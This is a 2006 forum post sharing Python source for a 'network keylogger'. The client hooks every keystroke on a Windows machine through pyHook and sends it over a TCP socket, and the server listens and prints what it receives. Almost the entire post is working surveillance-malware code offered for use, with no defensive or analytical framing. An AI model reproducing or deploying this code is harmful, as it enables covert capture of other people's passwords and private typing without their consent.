Python NK
Posted: 14 Feb 2006, 12:39
Hi all just wanted to share some code its not much but its a work in progress --- its a Python Network Keylogger
what it does is if the client types in a keystroke it will send the keystrokes to the server
here is the client
and here is the server
requires pyWin32 pyhook 1.4 and python 2.4
what it does is if the client types in a keystroke it will send the keystrokes to the server
here is the client
Code: Select all
# Written By Maboroshi
import socket
import pythoncom, pyHook
import sys
host = "localhost"
port = 9000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
except:
print "failed connecting"
sys.exit()
def OnKeyBoardEvent(event):
output1 = event.Key
sock.send(output1)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Code: Select all
#Written By Maboroshi
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 9000
sock.bind(("", port))
sock.listen(5)
try:
while 1:
newSocket, address = sock.accept()
while 1:
data = newSocket.recv(2048)
print data + " ",
finally:
sock.close()